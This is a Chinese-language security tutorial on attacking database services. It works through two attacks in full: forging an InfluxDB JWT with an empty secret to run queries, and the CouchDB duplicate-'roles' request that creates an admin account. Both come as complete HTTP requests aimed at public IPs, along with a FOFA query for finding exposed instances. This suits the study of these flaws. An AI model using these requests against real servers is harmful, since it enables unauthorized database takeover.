#知识点:

1、服务攻防-数据库类型安全 2、influxdb-未授权访问-jwt验证 3、H2database-未授权访问-配置不当 4、CouchDB-权限绕过配合RCE-漏洞 5、ElasticSearch-文件写入&RCE-漏洞 这些数据库在特定的环境上用到,特用的程序固定的。使用面不广,但是有一定的应用价值。会根据应用功能选择数据库。

#章节内容:

常见服务应用的安全测试: 1、配置不当-未授权访问 2、安全机制-特定安全漏洞 3、安全机制-弱口令爆破攻击

Influxdb

InfluxDB 是一种时序数据库,时序数据库通常被用在监控场景,比如运维和 IOT(物联网)领域。这类数据库旨在存储时序数据并实时处理它们。时序数据库通常都是采用LSM Tree 的变种,顺序写磁盘来增强数据的写入能力。

比如。我们可以写一个程序将服务器上 CPU 的使用情况每隔 10 秒钟向 InfluxDB 中写入一条数据。接着,我们写一个查询语句,查询过去 30 秒 CPU 的平均使用情况,然后让这个查询语句也每隔 10 秒钟执行一次。最终,我们配置一条报警规则,如果查询语句的执行结果>xxx,就立刻触发报警。

上述就是一个指标监控的场景,在 IOT 领域中,也有大量的指标需要我们监控。比如, 机械设备的轴承震动频率,农田的湿度温度等等。

Influxdb-未授权访问-Jwt验证不当

默认端口:8086 8088 8083 influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。空加密秘钥串。

  • 8086端口HTTP API的X-Influxdb-Version标志头

访问:192.168.233.128:8086/debug/vars

需要访问特定地址或者执行SQL语句,看看有没有漏洞

请求地址:192.168.233.128:8086/query

POST提交去执行SQL语句:db=sample&q=show+users

这个提交就需要登录才可以进行数据库执行。

通过 https://jwt.io/生成Cookie,绕过身份验证,构造所需的 Token:

username需要为已存在的用户,exp是时间戳,代表该 Token 的过期时间,所以需要生成一个未来的时间戳,

其中1728797762转换为时间是:2024-10-13 13:36:02 将secret的值置空,得到编码后的 Token:


抓取/query页面的数据包,并将请求方式修改为 POST,添加请求头:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4Nzk3NzYyfQ.mjBqegoWWFZHwLF-1i1GK3uwHjKVDc1ivcDCxR1AJxc
  • 1.

添加 POST 请求键值对:

db=sample&q=show+users

并在请求头里面加入:

Content-Type:application/x-www-form-urlencoded
  • 1.

否则请求的时候是会404的

POST /query HTTP/1.1
Host: 49.232.65.159:8086
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4Nzk3NzYyfQ.mjBqegoWWFZHwLF-1i1GK3uwHjKVDc1ivcDCxR1AJxc
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

db=sample&q=show+users
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.

发送数据包,得到查询结果。

成功利用进入数据库

CouchDB
couchDB权限绕过配合RCE-漏洞

默认端口:5984 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)专门用来存储文档的数据库

fofa语法:

"CouchDB"&&port="5984"

(1)访问首页

http://118.193.36.37:43553/
  • 1.

CouchDB  Influxdb 漏洞及渗透_HTTP

(2) 抓包访问

http://118.193.36.37:43553/_utils
  • 1.

修改请求包
发送如下数据包 修改host部分即可

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 118.193.36.37:43553
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.

CouchDB  Influxdb 漏洞及渗透_数据库_02

返回403错误,只有管理员才能设置role角色

(3)发送包含两个roles的数据包,即可绕过限制:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 118.193.36.37:43553
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 110
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.

CouchDB  Influxdb 漏洞及渗透_HTTP_03

状态码201 创建成功

成功创建管理员,账户密码均为vulhub:

(4) 进行登录

CouchDB  Influxdb 漏洞及渗透_HTTP_04

登录成功

CouchDB  Influxdb 漏洞及渗透_时序数据库_05